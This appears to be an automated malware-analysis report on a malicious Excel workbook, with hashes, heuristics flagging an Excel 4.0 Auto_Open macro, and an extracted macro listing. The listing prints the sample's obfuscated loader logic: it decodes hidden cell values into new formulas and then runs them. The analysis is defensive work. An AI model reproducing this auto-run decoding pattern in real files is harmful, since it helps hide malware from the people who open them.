Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6875ad8f4206a81…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:50 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: efc55f054b8a21e45cd8a6b8a8bcdc13 SHA-1: d080b17ff8166736a8425916ff899ba413939b19 SHA-256: f6875ad8f4206a819b2cb568378e04b9aecd9bd366e3c087481c19c541104b6b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6610 bytes
SHA-256: 02560f26ab083ea717bcf9af6382f26c64bea10dac40e16ec0bb72a42d7e4e32
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rfYOzdBX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D159 
' 0018     27 LABEL : Cell Value, String Constant - bcGWZGGjmbdy len=0 
' 0018     24 LABEL : Cell Value, String Constant - bCqkSkQSB len=0 
' 0018     27 LABEL : Cell Value, String Constant - DCbDObduAvHp len=0 
' 0018     23 LABEL : Cell Value, String Constant - DIXPVYUf len=0 
' 0018     20 LABEL : Cell Value, String Constant - eiGXu len=0 
' 0018     24 LABEL : Cell Value, String Constant - FfDPZvPwz len=0 
' 0018     26 LABEL : Cell Value, String Constant - gIbzwrBXoRI len=0 
' 0018     23 LABEL : Cell Value, String Constant - gqSpfKYQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - HZEsAtjIAL len=0 
' 0018     25 LABEL : Cell Value, String Constant - iRqDqQrHjT len=0 
' 0018     25 LABEL : Cell Value, String Constant - LXhSxZygzK len=0 
' 0018     24 LABEL : Cell Value, String Constant - MgWonDbvu len=0 
' 0018     21 LABEL : Cell Value, String Constant - QIaIkk len=0 
' 0018     26 LABEL : Cell Value, String Constant - rRxbGXHjGUj len=0 
' 0018     21 LABEL : Cell Value, String Constant - VIXMJx len=0 
' 0018     22 LABEL : Cell Value, String Constant - WtjQfaa len=0 
' 0018     27 LABEL : Cell Value, String Constant - xwutApiBBkBc len=0 
' 0018     23 LABEL : Cell Value, String Constant - yDZuoSig len=0 
' 0018     22 LABEL : Cell Value, String Constant - ykiOBSj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZJPXZnXS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rfYOzdBX,D73,"SET.NAME("bCqkSkQSB",VALUE("0"))",""
'  rfYOzdBX,D75,"SET.NAME("ykiOBSj",bCqkSkQSB)",""
'  rfYOzdBX,D78,"SET.NAME("eiGXu",bCqkSkQSB)",""
'  rfYOzdBX,D82,"SET.NAME("DCbDObduAvHp",COUNTA(MgWonDbvu))",""
'  rfYOzdBX,D86,"SET.NAME("ZJPXZnXS",COUNTA(DIXPVYUf))",""
'  rfYOzdBX,D89,[],""
'  rfYOzdBX,D94,"SET.NAME("WtjQfaa","")",""
'  rfYOzdBX,D99,"ykiOBSj",""
'  rfYOzdBX,D104,"SET.NAME("yDZuoSig",HLOOKUP("*",MgWonDbvu,ykiOBSj,FALSE))",""
'  rfYOzdBX,D109,"HZEsAtjIAL",""
'  rfYOzdBX,D113,"SET.NAME("iRqDqQrHjT",bCqkSkQSB)",""
'  rfYOzdBX,D116,[],""
'  rfYOzdBX,D118,"iRqDqQrHjT",""
'  rfYOzdBX,D121,"bcGWZGGjmbdy",""
'  rfYOzdBX,D124,"rRxbGXHjGUj",""
'  rfYOzdBX,D127,"QIaIkk",""
'  rfYOzdBX,D130,"SET.NAME("gIbzwrBXoRI",VALUE(HLOOKUP("*",DIXPVYUf,QIaIkk,FALSE)))",""
'  rfYOzdBX,D134,"LXhSxZygzK",""
'  rfYOzdBX,D136,"WtjQfaa",""
'  rfYOzdBX,D141,"eiGXu",""
'  rfYOzdBX,D143,NEXT(),""
'  rfYOzdBX,D147,"VIXMJx",""
'  rfYOzdBX,D150,"SET.NAME("f",INT(T(FORMULA(T(WtjQfaa)&"",""&T(VIXMJx)))))",""
'  rfYOzdBX,D152,"xwutApiBBkBc",""
'  rfYOzdBX,D154,NEXT(),""
'  rfYOzdBX,D156,RETURN(),""
'  rfYOzdBX,D183,"SET.NAME("FfDPZvPwz",D73)",""
'  rfYOzdBX,D188,"MgWonDbvu",""
'  rfYOzdBX,D193,"SET.NAME("DIXPVYUf",R61C11)",""
'  rfYOzdBX,D197,"SET.NAME("xwutApiBBkBc",206)",""
'  rfYOzdBX,D201,"SET.NAME("gqSpfKYQ",4)",""
'  rfYOzdBX,D205,FfDPZvPwz(),""
'  rfYOzdBX,D206,HALT(),""

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